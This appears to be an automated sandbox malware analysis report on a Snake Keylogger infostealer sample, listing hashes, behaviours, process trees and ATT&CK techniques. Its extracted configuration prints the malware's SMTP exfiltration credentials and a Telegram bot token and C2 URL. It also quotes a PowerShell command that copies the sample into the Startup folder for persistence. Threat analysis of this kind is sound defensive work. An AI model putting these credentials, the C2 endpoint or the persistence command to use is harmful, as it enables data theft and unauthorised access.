snakekeylogger | 98c19753dbee8352bb450feb4d842079a04b17456e21761e713b9d481b00ac86

General

Target

b5fbcda9d5577a1348fd66393e834c38.exe
Size

332KB
MD5

b5fbcda9d5577a1348fd66393e834c38
SHA1

de3a6bbabc63574238cdc3f78058fa752da31da0
SHA256

98c19753dbee8352bb450feb4d842079a04b17456e21761e713b9d481b00ac86
SHA512

bdd64acc3de80f6ca506639a989ca0dc5947e856913a7937ffd71726fed07f633c005ae70a3b53dc735d432ae78b67888870afa53e06e191c7f749fbf3ee8a53
SSDEEP

6144:JEasJm3yZ1bHuuywQ7sUeFb2KnZFsTxvULZYE2Odtyqd72fBQD:JEyHutZFG0YrOiqoW

Score

10^/10

snakekeylogger collection keylogger spyware stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.noscoegypt.com
Port:
465
Username:
[email protected]
Password:
j3w[Ok%-wW,@
Email To:
URL: mail.noscoegypt.com

C2

https://api.telegram.org/bot6812788177:AAGkIGRh-hqEtxCxIbq-Dbm2V68_RxIRo8c/sendMessage?chat_id=5007084465

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2712-13-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2712-15-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2712-19-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2712-21-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger
behavioral1/memory/2712-23-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger

Drops startup file 2 IoCs

Processes:

Powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\grace.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\grace.exe	Powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

b5fbcda9d5577a1348fd66393e834c38.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b5fbcda9d5577a1348fd66393e834c38.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b5fbcda9d5577a1348fd66393e834c38.exe
Key opened	\REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b5fbcda9d5577a1348fd66393e834c38.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 checkip.dyndns.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exe

description pid process target process

PID 3044 set thread context of 2712 3044 b5fbcda9d5577a1348fd66393e834c38.exe b5fbcda9d5577a1348fd66393e834c38.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exePowershell.exe

pid process

2712 b5fbcda9d5577a1348fd66393e834c38.exe
1080 Powershell.exe
2712 b5fbcda9d5577a1348fd66393e834c38.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exePowershell.exe

description pid process

Token: SeDebugPrivilege 2712 b5fbcda9d5577a1348fd66393e834c38.exe
Token: SeDebugPrivilege 1080 Powershell.exe

flow	ioc
2	checkip.dyndns.org

description	pid	process	target process
PID 3044 set thread context of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe

pid	process
2712	b5fbcda9d5577a1348fd66393e834c38.exe
1080	Powershell.exe
2712	b5fbcda9d5577a1348fd66393e834c38.exe

description	pid	process
Token: SeDebugPrivilege	2712	b5fbcda9d5577a1348fd66393e834c38.exe
Token: SeDebugPrivilege	1080	Powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exe

description	pid	process	target process
PID 3044 wrote to memory of 1080	3044	b5fbcda9d5577a1348fd66393e834c38.exe	Powershell.exe
PID 3044 wrote to memory of 1080	3044	b5fbcda9d5577a1348fd66393e834c38.exe	Powershell.exe
PID 3044 wrote to memory of 1080	3044	b5fbcda9d5577a1348fd66393e834c38.exe	Powershell.exe
PID 3044 wrote to memory of 1080	3044	b5fbcda9d5577a1348fd66393e834c38.exe	Powershell.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe
PID 3044 wrote to memory of 2712	3044	b5fbcda9d5577a1348fd66393e834c38.exe	b5fbcda9d5577a1348fd66393e834c38.exe

outlook_office_path 1 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b5fbcda9d5577a1348fd66393e834c38.exe

outlook_win_path 1 IoCs

Processes:

b5fbcda9d5577a1348fd66393e834c38.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3618187007-3650799920-3290345941-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	b5fbcda9d5577a1348fd66393e834c38.exe

C:\Users\Admin\AppData\Local\Temp\b5fbcda9d5577a1348fd66393e834c38.exe
"C:\Users\Admin\AppData\Local\Temp\b5fbcda9d5577a1348fd66393e834c38.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\b5fbcda9d5577a1348fd66393e834c38.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\grace.exe'
2⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Users\Admin\AppData\Local\Temp\b5fbcda9d5577a1348fd66393e834c38.exe
C:\Users\Admin\AppData\Local\Temp\b5fbcda9d5577a1348fd66393e834c38.exe
2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1080-8-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1080-27-0x000000006FCF0000-0x000000007029B000-memory.dmp

Filesize
5.7MB

Download
memory/1080-10-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1080-5-0x000000006FCF0000-0x000000007029B000-memory.dmp

Filesize
5.7MB

Download
memory/1080-6-0x000000006FCF0000-0x000000007029B000-memory.dmp

Filesize
5.7MB

Download
memory/1080-7-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/2712-12-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-23-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-28-0x00000000743A0000-0x0000000074A8E000-memory.dmp

Filesize
6.9MB

Download
memory/2712-11-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-25-0x00000000743A0000-0x0000000074A8E000-memory.dmp

Filesize
6.9MB

Download
memory/2712-13-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-15-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-17-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2712-19-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2712-21-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3044-0-0x00000000000C0000-0x000000000011A000-memory.dmp

Filesize
360KB

Download
memory/3044-24-0x00000000743A0000-0x0000000074A8E000-memory.dmp

Filesize
6.9MB

Download
memory/3044-9-0x0000000000650000-0x000000000065A000-memory.dmp

Filesize
40KB

Download
memory/3044-1-0x00000000743A0000-0x0000000074A8E000-memory.dmp

Filesize
6.9MB

Download
memory/3044-2-0x0000000001F30000-0x0000000001F86000-memory.dmp

Filesize
344KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads